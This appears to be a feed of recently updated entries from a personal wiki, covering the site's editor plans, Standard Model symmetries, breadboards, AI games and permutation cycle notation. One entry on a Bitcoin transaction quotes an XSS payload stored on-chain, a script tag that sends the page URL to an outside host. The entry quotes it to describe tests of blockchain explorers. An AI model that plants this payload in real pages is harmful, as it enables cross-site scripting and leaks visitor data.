Crystallographic restriction theorem Updated +Created
nodejs/next/posts Updated +Created
Wearables Updated +Created
Next steps Updated +Created
Editor. As last time. And the one before. But now it is for real.
I guess ended up doing all the "how things should look like" features because they clarify what the website is supposed to do, and I already have my own content to bring it alive via ourbigbook --web upload.
But now I honestly feel that all the major elements of "how things should look like" have fallen into place.
And yeah, nobody else is never going to contribute as things are! WYSIWYG is a must.
I was really impressed by Trillium Notes. I should have checked it long ago. The UI is amazing, and being all Js-based, could potentially be reused for our purposes. The project itself is a single-person/full trust notetaking only for now however, so not a direct replacement to OurBigBook.
Parameters of the Standard Model Updated +Created
The growing number of parameters of the Standard Model is one big source of worry for early 21st century physics, much like the growing number of particles was a worry in the beginning of the 20th (but that one was solved by 2020).
Why do symmetries such as SU(3), SU(2) and U(1) matter in particle physics? Updated +Created
Physicists love to talk about that stuff, but no one ever has the guts to explain it into enough detail to show its beauty!!!
Perhaps the wisest thing is to just focus entirely on the part to start with, which is the quantum electrodynamics one, which is the simplest and most useful and historically first one to come around.
Perhaps the best explanation is that if you assume those internal symmetries, then you can systematically make "obvious" educated guesses at the interacting part of the Standard Model Lagrangian, which is the fundamental part of the Standard Model. See e.g.:
One bit underlying reason is: Noether's theorem.
Notably, axelmaas.blogspot.com/2010/08/global-and-local-symmetries.html gives a good overview:
A local symmetry transformation is much more complicated to visualize. Take a rectangular grid of the billiard balls from the last post, say ten times ten. Each ball is spherical symmetric, and thus invariant under a rotation. The system now has a global and a local symmetry. A global symmetry transformation would rotate each ball by the same amount in the same direction, leaving the system unchanged. A local symmetry transformation would rotate each ball about a different amount and around a different axis, still leaving the system to the eye unchanged. The system has also an additional global symmetry. Moving the whole grid to the left or to the right leaves the grid unchanged. However, no such local symmetry exists: Moving only one ball will destroy the grid's structure.
Such global and local symmetries play an important role in physics. The global symmetries are found to be associated with properties of particles, e. g., whether they are matter or antimatter, whether they carry electric charge, and so on. Local symmetries are found to be associated with forces. In fact, all the fundamental forces of nature are associated with very special local symmetries. For example, the weak force is actually associated in a very intricate way with local rotations of a four-dimensional sphere. The reason is that, invisible to the eye, everything charged under the weak force can be characterized by a arrow pointing from the center to the surface of such a four-dimensional sphere. This arrow can be rotated in a certain way and at every individual point, without changing anything which can be measured. It is thus a local symmetry. This will become more clearer over time, as at the moment of first encounter this appears to be very strange indeed.
so it seems that that's why they are so key: local symmetries map to the forces themselves!!!
axelmaas.blogspot.com/2010/09/symmetries-of-standard-model.html then goes over all symmetries of the Standard Model uber quickly, including the global ones.
Non-clade groups are evil Updated +Created
All non-clade groups are evil. All non-clade terms must be forgotten. Some notable ones:
PDF tool Updated +Created
Desktop computer Updated +Created
Organization developing superconducting quantum computer Updated +Created
SVG 2 Updated +Created
4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af Updated +Created
Output 0 does:
OP_ADD OP_ADD 13 OP_EQUAL OP_NOTIF OP_RETURN OP_ENDIF OP_FROMALTSTACK <large xss constant> OP_DROP
where the large constant is an interesting inscription to test for the presence of XSS attacks on blockchain explorers:
<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>`
This is almost spendable with:
1 OP_TOALTSTACK 10 1 2
but that fails because the altstack is cleared between the input and the output script, so this output is provably unspendable.
Breadboard Updated +Created
This is how electronic circuits are normally prototyped!
Once you validate them like this, the next step is usually to move on to printed circuit boards for more reliable production setups.
Breadboards are a thing of beauty and wonder.
Figure 1. . Source. Predecessors to breadboards from where the name came. A thing of beauty, so vintage. You could actually write stuff on those with a pencil!
Video 1.
Breadboards - Trash or Treasure? by Keysight (2020)
Source.
Immigrant generation Updated +Created
First generation immigrant Updated +Created
AI game Updated +Created
Video 1.
Our Final Invention - Artificial General Intelligence by Sciencephile the AI (2023)
Source. AGI via simulation section.
Ciro Santilli defines an "AI game" as:
a game that is used to train AI, in particular one that was designed with this use case in mind, and usually with the intent of achieving AGI, i.e. the game has to somehow represent a digital world with enough analogy to the real world so that the AGI algorithms developed there could also work on the real world
Most games played by AI historically so far as of 2020 have been AI for games designed for humans: Human game used for AI training.
Ciro Santilli took a stab at an AI game: Ciro's 2D reinforcement learning games, but he didn't sink too much/enough into that project.
A closely related and often overlapping category of simulations are artificial life simulations.
Bibliography:
PBS Eons Updated +Created
Cycle notation Updated +Created
A concise to describe a specific permutation.
A permutation group can then be described in terms of the generating set of a group of specific elements given in cycle notation.
E.g. en.wikipedia.org/w/index.php?title=Mathieu_group&oldid=1034060469#Permutation_groups mentions that the Mathieu group is generated by three elements:
  • (0123456789a)
  • (0b)(1a)(25)(37)(48)(69)
  • (26a7)(3945)
which feels quite compact for a simple group with 95040 elements, doesn't it!
Ox Phos wars Updated +Created

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